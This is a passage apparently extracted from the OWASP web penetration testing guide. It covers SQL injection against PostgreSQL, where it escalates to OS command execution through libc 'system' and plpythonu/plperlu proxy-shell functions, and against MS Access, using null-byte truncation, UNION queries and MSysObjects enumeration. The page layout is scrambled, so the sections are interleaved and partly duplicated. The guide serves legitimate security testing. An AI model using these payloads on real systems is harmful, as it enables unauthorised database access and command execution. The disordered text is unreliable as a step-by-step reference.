1BO4r2U

125 126
Web Application Penetration Testing
Web Application Penetration Testing
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS
int AS ‘/lib/libc.so.6’,’system’ LANGUAGE ‘C’
STRICT --
/store.php?id=1; SELECT system(‘uname -a > /tmp/test’) --
/store.php?id=1; COPY stdout(system_out) FROM ‘/tmp/test’
--
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out
FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
plpython
PL/Python allows users to code PostgreSQL functions in python. It’s
untrusted so there is no way to restrict what user can do. It’s not installed
by default and can be enabled on a given database by CRE-
ATELANG
[1] Check if PL/Python has been enabled on a database:
• SELECT count(*) FROM pg_language WHERE lanname=’plpythonu’
[2] If not, try to enable:
• CREATE LANGUAGE plpythonu
[3] If either of the above succeeded, create a proxy shell function:
• CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return
os.popen(args[0]).read() ‘LANGUAGE plpythonu
[4] Have fun with:
• SELECT proxyshell(os command);
• CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,”$_
[0] |”);return join(“”,);’ LANGUAGE plperlu
[4] Have fun with:
• SELECT proxyshell(os command);
Example:
[1] Create a proxy shell function:
• /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text
AS ‘open(FD,”$_[0] |”);return join(“”,);’ LANGUAGE plperlu;
[2] Run an OS Command:
• /store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoami’),
NULL OFFSET 1;--
References
• OWASP : “Testing for SQL Injection”
• OWASP : SQL Injection Prevention Cheat Sheet
• PostgreSQL : “Official Documentation” - http:/www.postgresql.org/
docs/
• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection
tool - http:/sqlmap.sourceforge.net
Testing for MS Access
Summary
As explained in the generic SQL injection section, SQL injection vulnerabilities
occur whenever user-supplied input is used during the
construction of a SQL query without being adequately constrained
or sanitized. This class of vulnerabilities allows an attacker to execute
SQL code under the privileges of the user that is used to connect to the
database. In this section, relevant SQL injection techniques that utilize
specific features of Microsoft Access will be discussed.
In all cases, we have a confirmation that we’re testing an application
using MS Access database.
Basic Testing
Unfortunately, MS Access doesn’t support typical operators that are
traditionally used during SQL injection testing, including:
• No comments characters
• No stacked queries
• No LIMIT operator
• No SLEEP or BENCHMARK alike operators
• and many others
Nevertheless, it is possible to emulate those functions by combining
multiple operators or by using alternative techniques. As mentioned, it
is not possible to use the trick of inserting the characters /*, -- or # in
order to truncate the query. However, we can fortunately bypass this
limitation by injecting a ‘null’ character. Using a null byte %00 within
a SQL query results in MS Access ignoring all remaining characters.
This can be explained by considering that all strings are NULL terminated
in the internal representation used by the database. It is worth
mentioning that the ‘null’ character can sometimes cause troubles too
as it may truncate strings at the web server level. In those situations,
we can however employ another character: 0x16 (%16 in URL encoded
format).
Considering the following query:
SELECT [username],[password] FROM users WHERE [username]=’$myUsername’
AND [password]=’$myPassword’
• IIF: Is the IF construct, for example the following statement IIF(1=1,
‘a’, ‘b’) return ‘a’
• MID: This function allows you to extract substring, for example the
following statement mid(‘abc’,1,1) return ‘a’
• TOP: This function allows you to specify the maximum number of
results that the query should return from the top. For example TOP 1
will return only 1 row.
• LAST: This function is used to select only the last row of a set of rows.
For example the following query SELECT last(*) FROM users will return
only the last row of the result.
Some of these operators are essential to exploit blind SQL injections.
For other advanced operators, please refer to the documents in the
references.
Attributes Enumeration
In order to enumerate the column of a database table, it is possible
to use a common error-based technique. In short, we can obtain the
attributes name by analyzing error messages and repeating the query
with different selectors. For example, assuming that we know the
existence of a column, we can also obtain the name of the remaining
attributes with the following query:
‘ GROUP BY Id%00
In the error message received, it is possible to observe the name of the
next column. At this point, we can iterate the method until we obtain
the name of all attributes. If we don’t know the name of the first attribute,
we can still insert a fictitious column name and obtain the name
of the first attribute within the error message.
Example:
[1] Create a proxy shell function:
• /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text
AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpytho-
nu;--
[2] Run an OS Command:
• /store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoami’),
NULL OFFSET 1;--
plperl
Plperl allows us to code PostgreSQL functions in perl. Normally, it is
installed as a trusted language in order to disable runtime execution of
operations that interact with the underlying operating system, such as
open. By doing so, it’s impossible to gain OS-level access. To successfully
inject a proxyshell like function, we need to install the untrusted
version from the postgres user, to avoid the so-called application
mask filtering of trusted/untrusted operations.
[1] Check if PL/perl-untrusted has been enabled:
• SELECT count(*) FROM pg_language WHERE lanname=’plperlu’
[2] If not, assuming that sysadm has already installed the plperl package,
try :
• CREATE LANGUAGE plperlu
[3] If either of the above succeeded, create a proxy shell function:
How to Test
Fingerprinting
Fingerprinting the specific database technology while testing
SQL-powered application is the first step to properly asses potential
vulnerabilities. A common approach involves injecting standard SQL
injection attack patterns (e.g. single quote, double quote, ...) in order to
trigger database exceptions. Assuming that the application does not
handle exceptions with custom pages, it is possible to fingerprint the
underline DBMS by observing error messages.
Depending on the specific web technology used, MS Access driven applications
will respond with one of the following errors:
or
or
Fatal error: Uncaught exception ‘com_exception’ with message
Source: Microsoft JET Database Engine
Microsoft JET Database Engine error ‘80040e14’
Microsoft Office Access Database Engine
We can truncate the query with the following two URLs:
http:/www.example.com/page.asp?user=admin’%00&pass=foo
http:/www.example.com/page.app?user=admin’%16&pass=foo
The LIMIT operator is not implemented in MS Access, however it is
possible to limit the number of results by using the TOP or LAST operators
instead.
http:/www.example.com/page.app?id=2’+UNION+SE-
LECT+TOP+3+name+FROM+appsTable%00
By combining both operators, it is possible to select specific results.
String concatenation is possible by using & (%26) and + (%2b) characters.
There are also many other functions that can be used while testing
SQL injection, including but not limited to:
• ASC: Obtain the ASCII value of a character passed as input
• CHR: Obtain the character of the ASCII value passed as input
• LEN: Return the length of the string passed as parameter
Obtaining Database Schema
Various system tables exist by default in MS Access that can be potentially
used to obtain table names and columns. Unfortunately, in the
default configuration of recent MS Access database releases, these
tables are not accessible. Nevertheless, it is always worth trying:
• MSysObjects
• MSysACEs
• MSysAccessXML
For example, if a union SQL injection vulnerability exists, you can use
the following query:
‘ UNION SELECT Name FROM MSysObjects WHERE Type = 1%00
Alternatively, it is always possible to bruteforce the database schema
by using a standard wordlist (e.g. FuzzDb).
In some cases, developers or system administrators do not realize
that including the actual .mdb file within the application webroot can
allow to download the entire database. Database filenames can be inferred
with the following query:
http:/www.example.com/page.app?id=1’+UNION+SE-
LECT+1+FROM+name.table%00